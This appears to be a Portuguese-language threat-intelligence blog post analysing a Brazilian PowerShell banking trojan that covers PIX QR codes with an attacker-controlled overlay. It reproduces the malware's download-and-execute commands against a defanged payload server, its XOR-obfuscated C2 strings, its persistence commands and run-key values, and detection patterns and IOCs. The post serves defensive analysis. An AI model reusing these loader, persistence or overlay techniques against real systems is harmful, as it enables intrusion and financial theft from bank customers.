PowerShell-based Brazilian Banking Trojan with Real-Time PIX Overlay Capability
Executive Summary
PowerShell-based Brazilian Banking Trojan with Real-Time PIX Overlay Capability

Executive Summary
Em maio de 2026 foi analisada uma amostra de um trojan bancário brasileiro escrito em PowerShell com componente C# inline para overlay gráfico. A amostra demonstra um modelo de fraude relativamente moderno no ecossistema brasileiro: ao invés de roubar credenciais passivamente, ela coopera em tempo real que, ao detectar que a vítima está prestes a executar uma transferência PIX em seu banco, dispara uma sobreposição de tela cobrindo o QR Code legítimo com um QR Code controlado pelo atacante desviando a transferência para a conta do criminoso.
A amostra é entregue via campanha de phishing por e-mail com um link redirecionando para um site externo no qual baixa.zip contendo um arquivo .bat tematizado como “Nota Fiscal Eletrônica”. O .bat invoca PowerShell para baixar e executar um segundo estágio (msedge.txt).
Key Findings
- Brazilian-focused — exclusivamente português brasileiro no código e UI; alvos são os 5 maiores bancos do país
- Phishing por e-mail —
.zip→.bat→ PowerShellDownloadFile→ payload - Modelo “humano em tempo real” — RAT com controle remoto interativo, não apenas info-stealer
- Fraude PIX por overlay de QR Code — substituição de QR durante transação legítima
- Living-off-the-Land puro — sem dropper binário próprio; usa PowerShell, csc.exe, sc.exe, schtasks.exe
- Múltiplas camadas de persistência — Windows Service + Scheduled Tasks (incluindo watchdog) + Registry Run keys
- Protocolo C2 binário customizado — magic bytes
LQWPsobre TCP/443

Threat Profile
Classificação funcional: Banking Trojan / Remote Access Trojan (RAT)
Plataforma alvo: Microsoft Windows 7+
Linguagem do payload: PowerShell + C# inline (compilado via csc.exe)
Vetor primário: Phishing por e-mail (.zip → .bat → PowerShell)
Geografia das vítimas: Brasil (geo-fenced implicitamente pelos alvos bancários)
Setor alvo: Correntistas de bancos brasileiros (PJ e PF)
Infection Chain
A cadeia de infecção é composta por 5 etapas, do envio do phishing até a sessão de fraude PIX:

Stage 1 — Delivery
A vítima recebe um e-mail com tema fiscal-tributário (variantes observadas: “Nota Fiscal Eletrônica”, “Boleto”, “Intimação”). O email possui um botão que redireciona o usuario para um link

O usuario acessa o site e baixa um .zip contendo:

NotaFiscal-9911358.zip
└── Nota-Fiscal.BAT
O nome de arquivo .BAT é projetado para induzir o usuário a abrir, esperando ver um PDF ou XML de nota fiscal, visto que a maioria dos usuarios não habilitam verificar a extensão de arquivos.
Stage 2 — Execution (BAT loader)
Quando o usuário executa o .BAT, este invoca:

O argumento hide no final é o nome de uma label/função interna do próprio .BAT que oculta a janela do CMD via técnica padrão (if "%1"=="hide" goto :hide start /b "" "%~f0" hide exit /b). Padrão típico de loaders brasileiros.
Stage 3 — PowerShell Downloader
O .BAT chama o PowerShell com argumentos típicos de evasão:
powershell.exe -NoP -NonI -Exec Bypass -WindowStyle Hidden -Command
"(New-Object Net.WebClient).DownloadFile(
'hxxp[://]198[.]245[.]53[.]26/payload.php',
'C:\Users\Public\Documents\msedge.txt')"
Pontos relevantes:
- Servidor de payload em IP cru, não em domínio — escolha que reduz reputation-based blocking, mas aumenta exposição a blocklists de IP
- HTTP simples (não HTTPS) no estágio 1 — payload entregue em claro
- Pasta
C:\Users\Public\Documents\— escolhida por ser acessível por qualquer usuário e raramente monitorada - Nome
msedge.txt— extensão.txtevita policies de bloqueio de.ps1; o nome mimetiza o Microsoft Edge
Stage 4 — Payload Execution
Logo após o download, o mesmo .BAT executa:
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex (Get-Content '%file%' -Raw)" 2>&1 >nul
O %file% é a variavel que aponta para o arquivo **msedge.txt** baixado, o RAT principal.
Stage 5 — RAT operation & Persistence
O payload principal executa em sequência:
- Decodifica strings críticas (C2, IP fallback) via XOR em tempo de execução
- Resolve o C2 via DNS, com fallback automático para IP em caso de falha
- Estabelece conexão TCP persistente em
c.windowns-cdn.com:443(ou IP fallback) - Instala persistência (múltiplas camadas — ver seção dedicada)
- Envia GuestInfo ao C2 com informações do host
- Entra em loop de comando aguardando opcodes do operador
Technical Analysis
String Obfuscation
A amostra usa XOR de byte único para ofuscar três strings críticas. O método é o mesmo para as três, variando apenas a chave:
# C2 domain — XOR com chave 204
$Server = (-join([byte[]]@(175,226,187,165,162,168,163,187,162,191,
225,175,168,162,226,175,163,161)|%{[char]($_-bxor204)}))
# Fallback IP — XOR com chave 52
FallbackIP = (-join([byte[]]@(5,0,13,26,1,2,26,5,6,26,1,5)|%{[char]($_-bxor52)}))
$Port = (400+43) # → 443
A ofuscação é trivialmente reversível, mas é o suficiente para evadir scanners estáticos baseados em string matching e regex. Notavelmente, isto difere do mecanismo usado por famílias como Coyote e Maverick, que utilizam AES + GZIP para decodificar URLs de bancos a partir de base64.

Embedded C# Compilation
O payload compila código C# em tempo de execução para usar APIs Win32 que seriam pesadas via reflection pura. Múltiplos blocos Add-Type @"..."@ são identificados:

Os nomes das classes são gerados aleatoriamente (WhipuiA, Dpirortkz, QreVmnYk) — característica que sugere builder automatizado por parte dos operadores.

C2 Protocol — “LQWP”
A comunicação com o C2 usa protocolo binário customizado sobre TCP. Cada pacote tem a estrutura:
+--------+----------+--------+----------+
| Magic | Opcode | Length | Payload |
| 4 byte | 1 byte | 4 byte | N byte |
+--------+----------+--------+----------+
| LQWP | 0xNN | int32 | JSON/ |
| (4C51 | | LE | binary |
| 5750) | | | |
+--------+----------+--------+----------+
A magic string LQWP (0x4C 0x51 0x57 0x50) é a impressão digital mais facilmente detectável do protocolo via inspeção de tráfego (mesmo sem TLS).

Catálogo completo de opcodes


Cobertura funcional: recon, controle remoto interativo, captura de input, captura de clipboard, exfiltração de arquivos, execução remota, e o conjunto de opcodes específicos de overlay PIX (o ponto único da família).
Persistence Mechanisms
O malware implementa 4 camadas de persistência em paralelo, com fallback automático conforme o privilégio disponível.

Evidencias de persistencia e execução, serviço criado e tarefa agendada
Camada 1 — Windows Service (requer admin)
ServiceName: MicrosoftEdgeUpdateCore
DisplayName: Windows Diagnostics ETW Service
Description: Windows Diagnostics and Telemetry Tracking Service
BinaryPath: C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe
StartType: Automatic
Account: LocalSystem (S-1-5-18)
RecoveryActions: Restart 5s × 3 (sc.exe failure ... reset= 86400 actions= restart/5000/...)
O binPath aponta para um EXE compilado em runtime pelo próprio script via csc.exe (compilador legítimo do .NET Framework). Esse EXE é um wrapper que invoca o PowerShell, passando os parâmetros do servidor C2 já hardcoded no binário. Isso significa que mesmo se o msedge.txt for apagado, o EXE compilado pode reconstruir a operação se as configurações estiverem no binário.
⚠️ Importante para detecção: o serviço legítimo do Microsoft Edge não se chama MicrosoftEdgeUpdateCore — chama edgeupdate e edgeupdatem. O nome MicrosoftEdgeUpdateCore é uma fusão fictícia que aproveita a familiaridade do usuário com o Edge para parecer legítima.
Camada 2 — Scheduled Tasks
Duas tarefas, sendo uma watchdog:
Task #1: \MicrosoftEdgeUpdateCore
Trigger: AtSystemStartup (delay 30s) ou AtLogon
RunLevel: Highest
RunAs: SYSTEM
Action: powershell.exe -NoP -EP Bypass -W Hidden -File "<install_dir>\msedgeupdate.txt"
Task #2: \MicrosoftEdgeUpdateCore_WD ← watchdog
Trigger: AtLogOn
Action: Verifica e recria a Task #1 se foi removida
A tarefa watchdog é o que torna a remoção apenas da tarefa principal ineficaz — ela se reinstala no próximo logon.

Tarefas agendadas criadas como persistencia
Camada 3 — Registry Run Keys (fallback sem admin)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftEdgeUpdateCore (variante)
Valor:
powershell.exe -NoP -EP Bypass -W Hidden -c "$env:MSEDGE_SKIP_UAC='1'; IEX (gc '<path>' -Raw)"
A variável de ambiente MSEDGE_SKIP_UAC=1 controla o caminho de execução interno do script — quando setada, evita re-prompt de UAC e usa fluxo já elevado.
Camada 4 — In-memory single-instance
O script verifica em client.pid se já existe um processo seu rodando; se sim, sai silenciosamente com [Environment]::Exit(0). Isso impede que tentativas redundantes de execução causem múltiplos processos visíveis ao usuário.
Anti-Analysis & Evasion

The PIX Overlay Attack — How the fraud actually works
O componente mais distintivo desta amostra é o mecanismo de overlay para fraude PIX em tempo real, implementado pela classe C# QROverlay (compilada em runtime).

Fluxo da fraude
- Vítima abre internet banking de um banco brasileiro com PIX (qualquer um dos monitorados em $MonitorDomains)
- O RAT detecta a presença da página via título da janela ativa e envia opcode 0x65 (QRCodeDetected) ao C2 com o nome do banco identificado
- O C2 sinaliza ao operador humano que há uma sessão ativa pronta para fraude. A partir daqui, o operador faz screen streaming (opcode 0x10) para acompanhar visualmente a sessão da vítima
- Vítima navega até a tela de transferência PIX e inicia uma operação — o banco gera e exibe o QR Code legítimo do recebedor pretendido
- Operador, em tempo real, identifica o valor da transação e prepara um QR Code PIX equivalente apontando para uma conta-laranja sob seu controle (chave PIX + valor casado para não levantar suspeita na tela de confirmação do celular)
- Operador envia opcode 0x66 (ShowQROverlay) com a imagem do QR malicioso codificada em base64 e o identificador do banco para selecionar a skin correta
- O cliente (RAT na máquina da vítima) instancia um System.Windows. Forms.Form, cobrindo toda a tela com a cor de fundo do banco (#EC7000 para Itaú, #CC092F para Bradesco, etc.)
- O Form renderiza no centro o QR Code do atacante (PictureBox 280×280) acompanhado das mensagens “Confirme sua identidade” e “Escaneie o codigo com seu celular”, reforçando a aparência de tela legítima do banco
- Vítima escaneia o QR com o app do celular acreditando que é uma etapa de confirmação do próprio banco. O app mostra os dados do recebedor real (conta-laranja) e o valor, mas pré-condicionada pelo contexto, a vítima confirma
- PIX é transferido instantaneamente para a conta-laranja.
- Operador envia opcode 0x67 (HideQROverlay), o Form é fechado e a vítima volta a ver a tela do banco, agora exibindo “operação realizada com sucesso” referente ao PIX que ela autorizou no celular, sem evidência visual da fraude
Configuração dos bancos-alvo

Bancos alvos
Os 5 bancos listados acima compõem apenas a paleta de skins do overlay definem cor e marca renderizadas pelo componente C# QROverlay. A lista real de alvos monitorados é significativamente maior: 36 strings em $MonitorDomains , comparadas em tempo real contra o título da janela ativa via GetForegroundWindow + GetWindowText.

Os alvos efetivamente monitorados são:
Bancos tradicionais (varejo + PJ): Bradesco, Itaú (incluindo Itaú BBA), Santander, Caixa Econômica, Banco do Brasil, Banco Safra, Daycoval, Banrisul, Sicoob, Sicredi.
Exchanges de criptomoedas: Binance, Mercado Bitcoin, Coinbase Brasil, KuCoin, Bybit.
Strings genéricas (fallback): "Internet Banking", "internetbanking", "Conta Corrente", "Net Empresa", "Home Banking" — capturam qualquer instituição cujo internet banking use esses termos no <title> da página, expandindo o alcance para bancos não-listados explicitamente.
Para alguns alvos (Caixa, Santander, Banco do Brasil), o malware exige adicionalmente que o processo da janela ativa seja um dos navegadores da lista $BrowserProcesses: msedge, chrome, firefox, opera, brave, iexplore, vivaldi, waterfox.
MITRE ATT&CK Mapping

Indicators of Compromise (IOCs)
Network

- Tipo: Domain → Indicador:
fiscaldocumento[.]com→ Função: C2 fake page - Tipo: Domain → Indicador:
c[.]windowns-cdn[.]com→ Função: C2 principal (typosquat) - Tipo: IPv4 → Indicador:
149[.]56.12[.5]1→ Função: C2 fallback (ASN OVH-CA, AS16276) - Tipo: IPv4 → Indicador:
198[.]245.53[.]26→ Função: Servidor de payload (Stage 3) - Tipo: Port → Indicador:
443/tcp(não-HTTPS) → Função: C2 protocol “LQWP” - Tipo: Magic bytes → Indicador:
4C 51 57 50(LQWP) → Função: Start de todo pacote C2
Filesystem
C:\Users\Public\Documents\msedge.txt
C:\ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt
C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe
C:\ProgramData\Microsoft\Diagnosis\ETW\etw.dat
C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid
C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log
C:\ProgramData\Microsoft\Diagnosis\ETW\process_*.log
%APPDATA%\Microsoft\Diagnosis\ETW\*
%TEMP%\chat_popup_*.ps1
%TEMP%\*NotaFiscal*.zip*
Registry
HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateCore
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftEdgeUpdateCore
Scheduled Tasks
\MicrosoftEdgeUpdateCore
\MicrosoftEdgeUpdateCore_WD
\Microsoft\Windows\MicrosoftEdgeUpdateCore (variante)
\Microsoft\Windows\DiagTrackManager (variante alternativa observada em limpeza)
Service
ServiceName: MicrosoftEdgeUpdateCore
DisplayName: Windows Diagnostics ETW Service
Description: Windows Diagnostics and Telemetry Tracking Service
ImagePath endsWith: \Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe
Behavioral / Command-line patterns
PowerShell command lines matching:
-Exec(utionPolicy)? Bypass + DownloadFile + C:\Users\Public\Documents\
-ServiceMode (parameter)
MSEDGE_SKIP_UAC (env var reference)
msedge.txt OR msedgeupdate.txt + IEX
chat_popup_*.ps1
-bxor204 OR -bxor52 (packer signature)
Hashes
AEE00B79D0055A2B6813B2F4666DEB104FF78B03579034AF8BFC7B7A77B51236 — MicrosoftEdgeUpdateCore.exe
9724828F951FE3E739845AFE16D6D024378F6B94022ACED5BBA7E5CA2D9D8F67 — msedge.txt
메타데이터
- post_id
- 230d09bb39d9
- slug
- powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
- url
- https://medium.com/@dathannobrega/powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
- canonical_url
- https://medium.com/@dathannobrega/powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
- author_url
- https://medium.com/@dathannobrega
- status
- ok
- fetched_at
- 2026-07-15 02:14:29